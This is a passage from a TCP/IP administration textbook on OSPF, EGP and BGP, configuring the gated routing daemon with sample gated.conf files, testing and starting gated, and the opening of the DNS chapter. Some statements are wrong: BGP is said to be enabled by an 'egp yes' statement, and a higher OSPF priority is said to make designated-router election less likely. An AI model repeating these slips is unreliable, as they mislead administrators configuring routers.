Figure 7.2 provides an example. When OSPF starts on pecan it sends a Hello packet on subnet 1 and one on subnet 12. filbert and almond hear the Hello and respond with Hello packets that list pecan as an adjacent router. pecan hears their Hello packets and adds them to its neighbor list. pecan then creates an LSA that lists filbert and almond as neighbors with appropriate cost assigned to each. For instance, pecan might assign a cost of 5 to filbert and a cost of 10 to almond. pecan then floods the LSA on subnet 1 and subnet 12. filbert hears the LSA and floods it on subnet 3. almond receives the LSA and floods it on both of its PPP links. salted floods the LSA on the link toward roasted, and roasted floods it on the same link to salted. When salted and roasted received the second copy of the LSA, they discarded it, because it duplicated one that they have already received from almond. In this manner, every router in the entire network receives every other router's link-state advertisement.

OSPF routers track the state of their neighbors by listening for Hello packets. Hello packets are issued by all routers on a periodic basis. When a router stops issuing packets, it or the link it is attached to is assumed to be down. Its neighbors update their LSA and flood them through the network. The new LSAs are included into the link-state database on every router on the network and every router recalculates their network map based on this new information. Clearly, limiting the number of routers by limiting the size of the network reduces the burden of recalculating the map. For many networks the entire autonomous system is small enough. For others, dividing the autonomous system into areas improves efficiency.

Another feature of OSPF that improves efficiency is the designated router. The designated router is one router on the network that treats all other routers on the network as its neighbors, while all other routers treat only the designated router as their neighbor. This helps reduce the size of the link-state database and thus improves the speed of the shortest-path-first calculation. Assume a broadcast network with 5 routers. Five routers each with 4 neighbors produce a link-state database with 20 entries. But if one of those routers is the designated router, then that router has 4 neighbors and all other routers have only 1 neighbor, for a total of 10 link-state database entries. While there is no need for a designated router on such a small network, the larger the network, the more dramatic the gains. For example, a broadcast network with 25 routers has a link-state database of 50 entries when a designated router is used, versus a database of 600 entries without one.

OSPF provides the router with an end-to-end view of the route between two systems instead of the limited next-hop view provided by RIP. Flooding quickly disseminates routing information throughout the network. Limiting the size of the link-state database through areas and designated routers speeds the SPF calculation. Taken altogether, OSPF is an efficient link-state routing protocol.

OSPF also offers additional features. It provides password authentication to ensure that the update comes from a valid router. Currently OSPF uses an eight-character, clear-text password. Work is underway to add a Message Digest 5 (MD5) crypto-checksum for stronger authentication.

OSPF also supports equal-cost multi-path routing. This mouthful means that OSPF routers can maintain more than one path to a single destination. Given the proper conditions, this feature can be used for load balancing across multiple network links. However, most systems are not designed to take advantage of this feature. Refer to your router's documentation to see if it supports load balancing across equal-cost OSPF routes.

With all of these features, OSPF is the preferred TCP/IP interior routing protocol for dedicated routers.

Previous: 7.3 Building a Static Routing Table | TCP/IP Network Administration | Next: 7.5 Exterior Routing Protocols
7.3 Building a Static Routing Table | Book Index | 7.5 Exterior Routing Protocols


[Chapter 7] 7.5 Exterior Routing Protocols

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 7.4 Interior Routing Protocols Chapter 7
Configuring Routing 		Next: 7.6 Gateway Routing Daemon

7.5 Exterior Routing Protocols

Exterior routing protocols are used to exchange routing information between autonomous systems. The routing information passed between autonomous systems is called reachability information. Reachability information is simply information about which networks can be reached through a specific autonomous system.

RFC 1771 defines Border Gateway Protocol, the leading exterior routing protocol, and provides the following description of the routing function of an autonomous system:

The classic definition of an Autonomous System is a set of routers under a single technical administration, using an interior gateway protocol and common metrics to route packets within the AS, and using an exterior gateway protocol to route packets to other ASs.... The administration of an AS appears to other ASs to have a single coherent interior routing plan and presents a consistent picture of what networks are reachable through it. From the standpoint of exterior routing, an AS can be viewed as monolithic...

Moving routing information into and out of these monoliths is the function of exterior routing protocols. Exterior routing protocols are also called exterior gateway protocols. Don't confuse an exterior gateway protocol with the Exterior Gateway Protocol (EGP). EGP is not a generic term; it is a particular exterior routing protocol, and an old one at that.

7.5.1 Exterior Gateway Protocol

A gateway running EGP announces that it can reach networks that are part of its autonomous system. It does not announce that it can reach networks outside its autonomous system. For example, the exterior gateway for our imaginary autonomous system nuts-as can reach the entire Internet through its external connection, but only one network is contained in its autonomous system. Therefore, it would only announce one network (172.16.0.0) if it ran EGP.

Before sending routing information, the systems first exchange EGP Hello and I-Heard-You (I-H-U) messages. These messages establish a dialog between two EGP gateways. Computers communicating via EGP are called EGP neighbors, and the exchange of Hello and I-H-U messages is called acquiring a neighbor.

Once a neighbor is acquired, routing information is requested via a poll. The neighbor responds by sending a packet of reachability information called an update. The local system includes the routes from the update into its local routing table. If the neighbor fails to respond to three consecutive polls, the system assumes that the neighbor is down and removes the neighbor's routes from its table. If the system receives a poll from its EGP neighbor, it responds with its own update packet.

Unlike the interior protocols discussed above, EGP does not attempt to choose the "best" route. EGP updates contain distance-vector information, but EGP does not evaluate this information. The routing metrics from different autonomous systems are not directly comparable. Each AS may use different criteria for developing these values. Therefore, EGP leaves the choice of a "best" route to someone else.

When EGP was designed, the network relied upon a group of trusted core gateways to process and distribute the routes received from all of the autonomous systems. These core gateways were expected to have the information necessary to choose the best external routes. EGP reachability information was passed into the core gateways, where the information was combined and passed back out to the autonomous systems.

A routing structure that depends on a centrally controlled group of gateways does not scale well and is therefore inadequate for the rapidly growing Internet. As the number of autonomous systems and networks connected to the Internet grew, it became difficult for the core gateways to keep up with the expanding workload. This is one reason why the Internet moved to a more distributed architecture that places a share of the burden of processing routes on each autonomous system. Another reason is that no central authority controls the commercialized Internet. The Internet is composed of many equal networks. In a distributed architecture, the autonomous systems require routing protocols, both interior and exterior, that can make intelligent routing choices. Because of this, EGP is no longer popular.

7.5.2 Border Gateway Protocol

Border Gateway Protocol (BGP) is the leading exterior routing protocol of the Internet. It is based on the OSI InterDomain Routing Protocol (IDRP). BGP supports policy-based routing, which uses non-technical reasons (for example, political, organizational, or security considerations) to make routing decisions. Thus BGP enhances an autonomous system's ability to choose between routes and to implement routing policies without relying on a central routing authority. This feature is important in the absence of core gateways to perform these tasks.

Routing policies are not part of the BGP protocol. Policies are provided externally as configuration information. As described in Chapter 2, the National Science Foundation provides Routing Arbiters (RAs) at the Network Access Points (NAPs) where large Internet Service Providers (ISPs) interconnect. The RAs can be queried for routing policy information. Most ISPs also develop private policies based on the bilateral agreements they have with other ISPs. BGP can be used to implement these policies by controlling the routes it announces to others and the routes it accepts from others. In the gated section of this chapter we discuss the import command and the export command, which control what routes are accepted (import) and what routes are announced (export). The network administrator enforces the routing policy through configuring the router.

BGP is implemented on top of TCP, which provides BGP with a reliable delivery service. BGP uses well-known TCP port 179. It acquires its neighbors through the standard TCP three-way handshake. BGP neighbors are called peers. Once connected, BGP peers exchange OPEN messages to negotiate session parameters, such as the version of BGP that is to be used.

The UPDATE message lists the destinations that can be reached through a specific path and the attributes of the path. BGP is a path vector protocol. It is called a path vector protocol because it provides the entire end-to-end path of a route in the form of a sequence of autonomous system numbers. Having the complete AS path eliminates the possibility of routing loops and count-to-infinity problems. A BGP UPDATE contains a single path vector and all of the destinations reachable through that path. Multiple UPDATE packets may be sent to build a routing table.

BGP peers send each other complete routing table updates when the connection is first established. After that, only changes are sent. If there are no changes, just a small (19-byte) KEEPALIVE message is sent to indicate that the peer and the link are still operational. BGP is very efficient in its use of network bandwidth and system resources.

By far the most important thing to remember about exterior protocols is that most systems never run them. Exterior protocols are only required when an AS must exchange routing information with another AS. Most routers within an AS run an interior protocol such as OSPF. Only those gateways that connect the AS to another AS need to run an exterior routing protocol. Your network is probably an independent part of an AS run by someone else. Internet Service Providers are good examples of autonomous systems made up of many independent networks. Unless you provide a similar level of service, you probably don't need to run an exterior routing protocol.

7.5.3 Choosing a Routing Protocol

Although there are many routing protocols, choosing one is usually easy. Most of the interior routing protocols mentioned above were developed to handle the special routing problems of very large networks. Some of the protocols have only been used by large national and regional networks. For local area networks, RIP is still the most common choice. For larger networks, OSPF is the choice.

If you must run an exterior routing protocol, the protocol that you use is often not a matter of choice. For two autonomous systems to exchange routing information, they must use the same exterior protocol. If the other AS is already in operation, its administrators have probably decided which protocol to use, and you will be expected to conform to their choice. Most often this choice is BGP.

The type of equipment affects the choice of protocols. Routers support a wide range of protocols, though individual vendors may have a preferred protocol. Hosts don't usually run routing protocols at all, and most UNIX systems are delivered with only RIP. Allowing host systems to participate in dynamic routing could limit your choices. gated, however, gives you the option to run many different routing protocols on a UNIX system. While the performance of hardware designed specifically to be a router is generally better, gated gives you the option of using a UNIX system as a router.

In the following sections we discuss the Gateway Routing Daemon (gated) software that combines interior and exterior routing protocols into one software package. We look at examples of running RIP, RIPv2, OSPF, and BGP with gated.

Previous: 7.4 Interior Routing Protocols | TCP/IP Network Administration | Next: 7.6 Gateway Routing Daemon
7.4 Interior Routing Protocols | Book Index | 7.6 Gateway Routing Daemon


[Chapter 7] 7.6 Gateway Routing Daemon

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 7.5 Exterior Routing Protocols Chapter 7
Configuring Routing 		Next: 7.7 Configuring gated

7.6 Gateway Routing Daemon

Routing software development for general purpose UNIX systems is limited. Most sites use UNIX systems only for simple routing tasks for which RIP is usually adequate. Large and complex routing applications, which require advanced routing protocols, are handled by dedicated router hardware that is optimized specifically for routing. Many of the advanced routing protocols are only available for UNIX systems in gated. gated combines several different routing protocols in a single software package.

Additionally, gated provides other features that are usually only associated with dedicated routers:

  • Systems can run more than one routing protocol. gated combines the routing information learned from different protocols, and selects the "best" routes.

  • Routes learned through an interior routing protocol can be announced via an exterior routing protocol, which allows the reachability information announced externally to adjust dynamically to changing interior routes.

  • Routing policies can be implemented to control what routes are accepted and what routes are advertised.

  • All protocols are configured from a single file (/etc/gated.conf) using a single consistent syntax for the configuration commands.

  • gated is constantly being upgraded. Using gated ensures that you're running the most up-to-date routing software.

7.6.1 gated's Preference Value

There are two sides to every routing protocol implementation. One side, the external side, exchanges routing information with remote systems. The other side, the internal side, uses the information received from the remote systems to update the routing table. For example, when OSPF exchanges Hello packets to discover a neighbor, it is an external protocol function. When OSPF adds a route to the routing table, it is an internal function.

The external protocol functions implemented in gated are the same as those in other implementations of the protocols. However, the internal side of gated is unique for UNIX systems. Internally, gated processes routing information from different routing protocols, each of which has its own metric for determining the best route, and combines that information to update the routing table. Before gated was written, if a UNIX system ran multiple routing protocols each would write routes into the routing table without knowledge of the other's action. The route found in the table was the last one written - not necessarily the best route.

With multiple routing protocols and multiple network interfaces, it is possible for a system to receive routes to the same destination from different protocols. gated compares these routes and attempts to select the best one. However, the metrics used by different protocols are not directly comparable. Each routing protocol has its own metric. It might be a hop count, the delay on the route, or an arbitrary value set by the administrator. gated needs more than that protocol's metric to select the best route. It uses its own value to prefer routes from one protocol or interface over another. This value is called preference.

Preference values help gated combine routing information from several different sources into a single routing table. Table 7.1 lists the sources from which gated receives routes, and the default preference given to each source. Preference values range from 0 to 255, with the lowest number indicating the most preferred route. From this table you can see that gated prefers a route learned from OSPF over the same route learned from BGP.

Table 7.1: Default Preference Values
Route Type | Default Preference
direct route | 0
OSPF | 10
Internally generated default | 20
ICMP redirect | 30
static route | 60
Hello protocol | 90
RIP | 100
OSPF ASE routes | 150
BGP | 170
EGP | 200

Preference can be set in several different configuration statements. It can be used to prefer routes from one network interface over another, from one protocol over another, or from one remote gateway over another. Preference values are not transmitted or modified by the protocols. Preference is used only in the configuration file. In the next section we'll look at the gated configuration file (/etc/gated.conf) and the configuration commands it contains.

Previous: 7.5 Exterior Routing Protocols | TCP/IP Network Administration | Next: 7.7 Configuring gated
7.5 Exterior Routing Protocols | Book Index | 7.7 Configuring gated


[Chapter 7] 7.7 Configuring gated

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 7.6 Gateway Routing Daemon Chapter 7
Configuring Routing 		Next: 7.8 Summary

7.7 Configuring gated

gated is available from http://www.gated.org. Appendix B, A gated Reference, provides information about downloading and compiling the software. In this section, we use gated release 3.5.5, the version of gated that is currently available without restrictions. There are other, newer versions of gated available to members of the Gated Consortium. If you plan to build products based on gated or you plan to do research on routing protocols using gated, you should join the consortium. For the purposes of this book, release 3.5.5 is fine.

gated reads its configuration from the /etc/gated.conf file. The configuration commands in the file resemble C code. All statements end with a semicolon, and associated statements are grouped together by curly braces. This structure makes it simple to see what parts of the configuration are associated with each other, which is important when multiple protocols are configured in the same file. In addition to structure in the language, the /etc/gated.conf file also has a structure.

The different configuration statements, and the order in which these statements must appear, divide gated.conf into sections: option statements, interface statements, definition statements, protocol statements, static statements, control statements, and aggregate statements. Entering a statement out of order causes an error when parsing the file.

Two other types of statements do not fall into any of these categories. They are directive statements and trace statements. These can occur anywhere in the gated.conf file and do not directly relate to the configuration of any protocol. These statements provide instructions to the parser, and instructions to control tracing from within the configuration file.

The gated configuration commands are summarized in Table 7.2 The table lists each command by name, identifies the statement type, and provides a very short synopsis of each command's function. The entire command language is covered in detail in Appendix B.

Table 7.2: gated Configuration Statements
Statement | Type | Function
%directory | directive | Sets the directory for include files
%include | directive | Includes a file into gated.conf
traceoptions | trace | Specifies which events are traced
options | option | Defines gated options
interfaces | interface | Defines interface options
autonomoussystem | definition | Defines the AS number
routerid | definition | Defines the originating router for BGP or OSPF
martians | definition | Defines invalid destination addresses
snmp | protocol | Enables reporting to SNMP
rip | protocol | Enables RIP
hello | protocol | Enables Hello protocol
isis | protocol | Enables ISIS protocol
kernel | protocol | Configures kernel interface options
ospf | protocol | Enables OSPF protocol
redirect | protocol | Removes routes installed by ICMP
egp | protocol | Enables EGP
bgp | protocol | Enables BGP
icmp | protocol | Configures the processing of general ICMP packets
static | static | Defines static routes
import | control | Defines what routes are accepted
export | control | Defines what routes are advertised
aggregate | aggregate | Controls route aggregation
generate | aggregate | Controls creation of a default route

Just from this brief description, you can see that the gated configuration language has many commands. The language provides configuration control for several different protocols and additional commands to configure the added features of gated itself. All of this can be confusing.

To avoid confusion, don't try to understand the details of everything offered by gated. Your routing environment will not use all of these protocols and features. Even if you are providing the gateway at the border between two anonymous systems, you will probably only run two routing protocols: one interior protocol and one exterior protocol. Only those commands that relate to your actual configuration need to be included in your configuration file. As you read this section, skip the things you don't need. For example, if you don't use the BGP protocol, don't study the bgp statement. When you do need more details about a specific statement, look it up in Appendix B. With this in mind, let's look at some sample configurations.

7.7.1 Sample gated.conf Configurations

The details in Appendix B may make gated configuration appear more complex than it is. gated's rich command language can be confusing, as can its support for multiple protocols and the fact that it often provides a few ways to do the same thing. But some realistic examples will show that individual configurations do not need to be complex.

The basis for the sample configurations is the network in Figure 7.4 We have installed a new router that provides our backbone with direct access to the Internet, and we have decided to install new routing protocols. We'll configure a host to listen to RIP-2 updates, an interior gateway to run RIP-2 and OSPF, and an exterior gateway to run OSPF and BGP.

Figure 7.4: Sample routing topology

Gateway cashew interconnects subnet 172.16.9.0 and subnet 172.16.1.0. To hosts on subnet 9, it advertises itself as the default gateway, because it is the gateway to the outside world. It uses RIP-2 to advertise routes on subnet 9. On subnet 1, gateway cashew advertises itself as the gateway to subnet 9 using OSPF.

Gateway brazil provides subnet 1 with access to the Internet through autonomous system 164. Because gateway brazil provides access to the Internet, it announces itself as the default gateway to the other systems on subnet 1 using OSPF. To the external autonomous system, it uses BGP to announce itself as the path to the internal networks it learns about through OSPF.

Let's look at the routing configuration of host macadamia, gateway cashew, and gateway brazil.

7.7.1.1 A host configuration

The host routing configuration is very simple. The rip yes statement enables RIP, and that's all that is really required to run RIP. That basic configuration should work for any system that runs RIP. The additional clauses enclosed in curly braces modify the basic RIP configuration. We use a few clauses to create a more interesting example. Here is the RIP-2 configuration for host macadamia:

#
#  enable rip, don't broadcast updates,
#  listen for RIP-2 updates on the multicast address,
#  check that the updates are authentic.
#
rip yes {
        nobroadcast ;
        interface 172.16.9.23
             version 2
             multicast
             authentication simple "REALstuff" ;

} ;

This sample file shows the basic structure of gated.conf configuration statements. Lines beginning with a sharp sign (#) are comments. [12] All statements end with semicolons. Clauses associated with a configuration statement can span multiple lines and are enclosed in curly braces ({}). In the example, the nobroadcast and interface clauses apply directly to the rip statement. The version, multicast, and authentication keywords are part of the interface clause.

[12] Comments can also be enclosed between a \* and a *\.

The keyword nobroadcast prevents the host from broadcasting its own RIP updates. The default is nobroadcast when the system has one network interface and broadcast when it has more than one. The nobroadcast keyword performs the same function as the -q command-line option does for routed. However, gated can do much more than routed, as the next clause shows.

The interface clause defines interface parameters for RIP. The parameters associated with this clause say that RIP-2 updates will be received via the RIP-2 multicast address on interface 172.16.9.23, and that authentic updates will contain the password REALstuff. For RIP-2, simple authentication is a clear-text password up to 16 bytes long. This is not intended to protect the system from malicious actions; it is only intended to protect the routers from a configuration accident. If a user mistakenly sets his system up as a RIP supplier, he is very unlikely to accidently enter the correct password into his configuration. Stronger authentication will soon be available in the form of a Message Digest 5 (MD5) cryptographic checksum by specifying md5 in the authentication clause.

7.7.1.2 Interior gateway configurations

Gateway configurations are more complicated than the simple host configuration shown above. Gateways always have multiple interfaces and occasionally run multiple routing protocols. Our first sample configuration is for the interior gateway between subnet 9 and the central backbone, subnet 1. It uses RIP-2 on subnet 9 to announce routes to the UNIX hosts. It uses OSPF on subnet 1 to exchange routes with the other gateways. Here's the configuration of gateway cashew:

#  Don't time-out subnet 9
interfaces {
    interface 172.16.9.1 passive ;
} ;
# Define the OSPF router id
routerid 172.16.1.9 ;
# Enable RIP-2; announce OSPF routes to
# subnet 9 with a cost of 5.
rip yes {
    broadcast ;
    defaultmetric 5 ;
    interface 172.16.9.1
         version 2
         multicast
         authentication simple "REALstuff" ;
} ;
# Enable OSPF; subnet 1 is the backbone area;
# use password authentication.
ospf yes {
     backbone {
         authtype simple ;
         interface 172.16.1.9 {
              priority 5 ;
              authkey "It'sREAL" ;
              } ;
          } ;
} ;

The interfaces statement defines routing characteristics for the network interfaces. The keyword passive in the interface clause is used here, just as we have seen it used before, to create a permanent static route that will not be removed from the routing table. In this case, the permanent route is through a directly attached network interface. Normally when gated thinks an interface is malfunctioning, it increases the cost of the interface by giving it a high-cost preference value (120) to reduce the probability of a gateway routing data through a non-operational interface. gated determines that an interface is malfunctioning when it does not receive routing updates on that interface. We don't want gated to downgrade the 172.16.9.1 interface, even if it does think the interface is malfunctioning, because our router is the only path to subnet 9. That's why this configuration includes the clause interface 172.16.9.1 passive.

The routerid statement defines the router identifier for OSPF. Unless it is explicitly defined in the configuration file, gated uses the address of the first interface it encounters as the default router identifier address. Here we specify the address of the interface that actually speaks OSPF as the OSPF router identifier.

In the previous example we discussed all the clauses on the rip statement except one - the defaultmetric clause. The defaultmetric clause defines the RIP metric used to advertise routes learned from other routing protocols. This gateway runs both OSPF and RIP-2. We wish to advertise the routes learned via OSPF to our RIP clients, and to do that, a metric is required. We choose a RIP cost of 5. If the defaultmetric clause is not used, routes learned from OSPF are not advertised to the RIP clients. [13] This statement is required for our configuration.

[13] This is not strictly true. The routes are advertised with a cost of 16, meaning that the destinations are unreachable.

The ospf yes statement enables OSPF. The first clause associated with this statement is backbone. It states that the router is part of the OSPF backbone area. Every ospf yes statement must have at least one associated area clause. It can define a specific area, e.g., area 2, but at least one router must be in the backbone area. While the OSPF backbone is area 0, it cannot be specified as area 0; it must be specified with the keyword backbone. In our sample configuration, subnet 1 is the backbone and all routers attached to it are in the backbone area. It is possible for a single router to attach to multiple areas with a different set of configuration parameters for each area. Notice how the nested curly braces group the clauses together. The remaining clauses in the configuration file are directly associated with the backbone area clause.

The authtype simple ; clause says that simple, password-based authentication is used in the backbone area. Two choices, simple and none, are available for authtype in GateD 3.5.5. none means no authentication is used. simple means that the correct eight-character password must be used or the update will be rejected. Password authentication is used only to protect against accidents. It is not intended to protect against malicious actions. Stronger authentication based on MD5 is being developed.

The interface that connects this router to the backbone area is defined by the interface clause. It has two associated subclauses. The authkey "It'sREAL" ; clause defines the password used for simple authentication by this interface. The priority 5 ; clause defines the priority used by this router when the backbone is electing a designated router. The higher the priority number, the less likely a router will be elected as the designated router. Use priority to steer the election toward the most capable routers.

7.7.1.3 Exterior gateway configuration

The configuration for gateway brazil is the most complex because it runs both OSPF and BGP. The configuration file for gateway brazil is:

# Defines our AS number for BGP
autonomoussystem 249;

# Defines the OSPF router id
routerid 172.16.1.1;

# Disable RIP
rip no;

# Enable BGP
bgp yes {
   preference 50 ;
   group type external peeras 164 {
        peer 10.6.0.103 ;
        peer 10.20.0.72 ;
        };
};

# Enable OSPF; subnet 1 is the backbone area;
# use password authentication.
ospf yes {
     backbone {
         authtype simple ;
         interface 172.16.1.1 {
              priority 10 ;
              authkey "It'sREAL" ;
              } ;
          } ;
};

# Announce routes learned from OSPF and route
# to directly connected network via BGP to AS 164
export proto bgp as 164 {
     proto direct ;
     proto ospf ;
};

# Announce routes learned via BGP from
# AS number 164 to our OSPF area.
export proto ospfase type 2  {
     proto bgp as 164  {
          all ;
          };
};

This configuration enables both BGP and OSPF, and sets certain protocol-specific parameters. BGP needs to know the AS number, which is 249 for nuts-net. OSPF needs to know the router identifier address. We set it to the address of the router interface that runs OSPF. The AS number and the router identifier are defined early in the configuration because autonomoussystem and routerid are definition statements, and therefore must occur before the first protocol statement. Refer back to Table 7.2 for the various statement types.

The first protocol statement is the one that turns RIP off. We don't want to run RIP and the default for gated is to turn RIP on. Therefore we explicitly disable RIP with the rip no ; statement.

BGP is enabled by the egp yes statement, which also defines a few additional BGP parameters. The preference 50 ; clause tells gated to set the preference for routes received via BGP to 50. The default for these routes is 170. By changing the preference to 50, we make the routes highly favored. Setting a preference value of 50 allows BGP routes to override static routes, though they will not override routes learned from OSPF. This is solely for the purpose of illustration. You probably don't want to make an external route highly preferred. See Table 7.1 for the list of default preferences.

The group clause sets parameters for all of the BGP peers in the group. The clause defines the type of BGP connection being created. The example is a classic external routing protocol connection, and the external autonomous system we are connecting to is AS number 164. gated can create five different types of BGP sessions, but only one, type external, is used to directly communicate with an external autonomous system. The other four group types are used for internal BGP (IBGP). [14] IBGP is simply an acronym used for BGP when it is used to move routing information around inside of an autonomous system. In our example we use it to move routing information between autonomous systems.

[14] See Appendix B for information on all group types.

The BGP neighbors from which updates are accepted are indicated by the peer clauses. Each peer is a member of the group. Everything related to the group, such as the AS number, applies to every system in the group. To accept updates from any system, use allow in place of the list of peers.

The OSPF protocol is enabled by the ospf yes statement. The configuration of OSPF on this router is the same as it is for other routers in the backbone area. The only parameter that has been changed from the previous example is the priority number. Because this route has a particularly heavy load, we have decided to make it slightly less preferred for the designated router election.

The export statements control the routes that gated advertises to other routers. The first export statement directs gated to use BGP (proto bgp) to advertise to autonomous system 164 (as 164) any directly connected networks (proto direct) and any routes learned from OSPF (proto ospf). Notice that the AS number specified in this statement is not the AS number of nuts-net. It is the autonomous system number of the external system. The first line of the export statement defines to whom we are advertising. The proto clauses located within the curly braces define what we are advertising.

The second export statement announces the routes learned from the external autonomous system. The routes are received via BGP and are advertised via OSPF. Because these are routes from an external autonomous system, they are advertised as autonomous system external (ASE) routes. That's why the export statement specifies ospfase as the protocol through which the routes are announced. The type 2 parameter defines the type of external routes that are being advertised. There are two types supported by gated. Type 2 routes are those learned from an exterior gateway protocol that does not provide a routing metric comparable to the OSPF metric. These routes are advertised with the cost of reaching the border router. In this case, the routes are advertised with the OSPF cost of reaching gateway brazil. Type 1 routes are those learned from an external protocol that does provide a metric directly comparable to the OSPF metric. In that case, the metric from the external protocol is added to the cost of reaching the border router when routes are advertised.

The source of the routes advertised in the second export statement is the BGP connection (proto bgp) to autonomous system 164 (as 164). The proto clause is qualified with an optional route filter. A route filter is used to select the routes from a specific source. The filter can list networks with associated netmasks to select an individual destination. In the example, the keyword all is used to select all routes received via BGP, which is, in fact, the default.

All of the routes received from an external autonomous system could produce a very large routing table. Individual routes are useful when you have multiple border routers that can reach the outside world. However, if you have only one border router, a default route may be all that is needed. To export a default route, insert an options gendefault ; statement in the beginning of the configuration file. [15] This tells gated to generate a default route when the system peers with a BGP neighbor. Next, replace the second export statement in the sample file with the following export statement:

[15] The generate statement is an alternative way to create a default route. See Appendix B for details.

# Announce a default route when peering
# with a BGP neighbor.
export proto ospfase type 2  {
     proto default ;
};

This export statement tells gated to advertise the border router as the default gateway, but only when it has an active connection to the external system.

These few examples show that gated.conf files are usually small and easy to read. Use gated if you need to run a routing protocol on your computer. It allows you to use the same software and the same configuration language on all of your hosts, interior gateways, and exterior gateways.

7.7.2 Testing the Configuration

Test the configuration file before you try to use it. The gated configuration syntax is complex and it is easy to make a mistake. Create your new configuration in a test file; test the new configuration; then move the test configuration to /etc/gated.conf. Here's how.

Assume that a configuration file called test.conf has already been created. It is tested using -f and -c on the command line:

% gated -c -f test.conf trace.test

The -f option tells gated to read the configuration from the named file instead of from /etc/gated.conf. In the sample it reads the configuration from test.conf. The -c option tells gated to read the configuration file and check for syntax errors. When gated finishes reading the file, it terminates; it does not modify the routing table. The -c option turns on tracing, so specify a trace file or the trace data will be displayed on your terminal. In the sample we specified trace.test as the trace file. The -c option also produces a snapshot of the state of gated after reading the configuration file and writes the snapshot to /usr/tmp/gated_dump. You don't need to be superuser or to terminate the active gated process to run gated when the -c option is used.

The dump and the trace file (trace.test) can then be examined for errors and other information. When you're confident that the configuration is correct, become superuser and move your new configuration (test.conf) to /etc/gated.conf.

An alternative command for testing the configuration file is gdc, though it must be run by the root user. It includes features for checking and installing a new configuration. gdc uses three different configuration files. The current configuration is /etc/gated.conf. The previous configuration is stored in /etc/gated.conf-. The "next" configuration is stored in /etc/gated.conf+, which is normally the configuration that needs to be tested. Here's how gdc tests a configuration:

# cp test.conf /etc/gated.conf+
# gdc checknew
configuration file /etc/gated.conf+ checks out okay
# gdc newconf
# gdc restart
gated not currently running
gdc: /etc/gated was started

In this sample the test configuration was copied to /etc/gated.conf+ and tested with the gdc checknew command. If syntax problems are found in the file, a warning message is displayed and the detailed error messages are written to /usr/tmp/gated_parse. There were no syntax errors in the example so we make the test file the current configuration with the gdc newconf command. This command moves the current configuration to gated.conf- and moves the new configuration (gated.conf+) to the current configuration. The gdc restart command terminates gated if it is currently running - it was not in the example - and starts a new copy of gated using the new configuration.

7.7.2.1 Running gated at startup

As with any routing software, gated should be included in your startup file. Some systems come with the code to start gated included in the startup file. If your system doesn't, you'll need to add it. If you already have code in your startup file that runs routed, replace it with code to run gated. gated and routed should not be running at the same time.

Our imaginary gateway, almond, is a Solaris system with code in the /etc/init.d/inetinit file that starts routed. We comment out those lines, and add these lines:

if [ -f /usr/sbin/gated -a -f /etc/gated.conf ]; then
     /usr/sbin/gated;      echo -n 'gated' > /dev/console
fi

This code assumes that gated is installed in /usr/sbin and that the configuration file is named /etc/gated.conf. The code checks that gated is present, and that the configuration file /etc/gated.conf exists. If both files are found, gated begins.

The code checks for a configuration file because gated usually runs with one. If gated is started without a configuration file, it checks the routing table for a default route. If it doesn't find one, it starts RIP; otherwise, it just uses the default route. Create an /etc/gated.conf file even if you only want to run RIP. The configuration file documents your routing configuration and protects you if the default configuration of gated changes in the future.

Previous: 7.6 Gateway Routing Daemon | TCP/IP Network Administration | Next: 7.8 Summary
7.6 Gateway Routing Daemon | Book Index | 7.8 Summary


[Chapter 7] 7.8 Summary

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 7.7 Configuring gated Chapter 7
Configuring Routing 		Next: 8. Configuring DNS Name Service

7.8 Summary

Routing is the glue that binds networks together to build internets. Without it, networks cannot communicate with each other. Configuring routing is an important task for the network administrator.

Minimal routing is required to communicate through the network interface to the directly attached network. These routes can be seen in the routing table where they show up as entries that do not have the G (gateway) flag set. On most systems, minimal routes are created but the ifconfig command when an interface is installed. On Linux systems the route through the interface must be explicitly installed with a route command.

The route command is used to build a static routing table. Static routing is routing that is manually maintained by the network administrator. Routes are added to or removed from the routing table with the route command. The most common use for static routing is to install a default route.

Dynamic routing uses routing protocols to select the best routes and to update the routing table. Their are many different dynamic routing protocols. The one that is available on most UNIX systems is Routing Information Protocol (RIP). RIP is run by routed. routed builds the routing table from information received on the network and from information read from /etc/gateway.

gated is a software package that provides several more routing protocols for UNIX systems, including advanced protocols such as Open Shortest Path First (OSPF) and Border Gateway Protocol (BGP). gated is configured through the /etc/gated.conf file. The gated configuration commands are covered in Appendix B.

This is the last chapter on how to create the physical network connection. Once routing is installed, the system is capable of basic communication. In the next chapter, we begin the discussion of the various applications and services that are necessary to make the network truly useful.

Previous: 7.7 Configuring gated | TCP/IP Network Administration | Next: 8. Configuring DNS Name Service
7.7 Configuring gated | Book Index | 8. Configuring DNS Name Service


[Chapter 8] Configuring DNS Name Service

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 7.8 Summary Chapter 8 Next: 8.2 Configuring the Resolver

8. Configuring DNS Name Service

Contents:
BIND: UNIX Name Service
Configuring the Resolver
Configuring named
Using nslookup
Summary

Congratulations! You have installed TCP/IP in the kernel, configured the network interface, and configured routing. At this point, you have completed all of the configuration tasks required to run TCP/IP on a UNIX system. While none of the remaining tasks are required for TCP/IP software to operate, they are necessary for making the network more friendly and useful. In the next two chapters, we look at how to configure basic TCP/IP network services. Perhaps the most important of these is name service.

Strictly speaking, name service is not necessary for computers to communicate. It is, as the name implies, a service - specifically, a service intended to make the network more user-friendly. Computers are perfectly happy with IP addresses, but people prefer names. The importance of name service is indicated by the amount of coverage it has in this book. Chapter 3, Network Services, discusses why name service is needed; this chapter covers how it is configured, and Appendix C, A named Reference, covers the details of the nameserver configuration commands. This chapter provides sufficient information to show you how to configure BIND 4 software to run on your system. [1] But if you want to know more about why something is done, don't hesitate to refer to Chapter 3 and Appendix C.

[1] BIND 4 is the version of domain name software used on most UNIX systems. Another version of DNS software - BIND 8 - is also available. BIND 8 uses a different configuration file syntax. We use BIND 4 because it's the most widely used and comes with both Slackware 96 Linux and Solaris 2.5.1.

8.1 BIND: UNIX Name Service

In UNIX, DNS is implemented by the Berkeley Internet Name Domain (BIND) software. BIND is a client/server software system. The client side of BIND is called the resolver. It generates the queries for domain name information that are sent to the server. The DNS server software answers the resolvers' queries. The server side of BIND is a daemon called named (pronounced "name" "d").

This chapter covers three basic BIND configuration tasks:

  • Configuring the BIND resolver

  • Configuring the BIND nameserver (named)

